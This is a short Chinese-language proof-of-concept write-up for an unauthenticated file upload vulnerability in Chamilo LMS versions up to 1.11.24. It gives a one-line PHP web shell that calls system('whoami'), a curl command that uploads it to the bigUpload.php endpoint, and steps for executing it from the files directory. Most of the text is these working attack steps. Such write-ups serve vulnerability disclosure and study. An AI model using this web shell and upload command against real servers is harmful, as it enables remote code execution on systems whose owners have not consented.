在Chamilo LMS <= v1.11.24 的 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 大文件上传功能中存在无限制文件上传漏洞,允许未认证攻击者通过上传Web shell执行存储型跨站脚本攻击并获取远程代码执行。
/main/inc/lib/javascript/bigupload/inc/bigUpload.php 的大文件上传功能允许将任意文件上传到Web根目录下的 /main/inc/lib/javascript/bigupload/files 目录。
如果 /main/inc/lib/javascript/bigupload/files 目录存在,我们可以上传任意文件,例如:
创建一个恶意PHP文件 echo '<?php system("whoami"); ?>' > dollarboysushil.php
.png)
然后通过执行以下命令上传该文件
`$ curl -F '[email protected]' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'`
.png)
我们可以通过访问 /main/inc/lib/javascript/bigupload/files 目录来检查文件是否已上传
.png)
点击该PHP文件即可执行,从而获得 whoami 命令的输出
.png)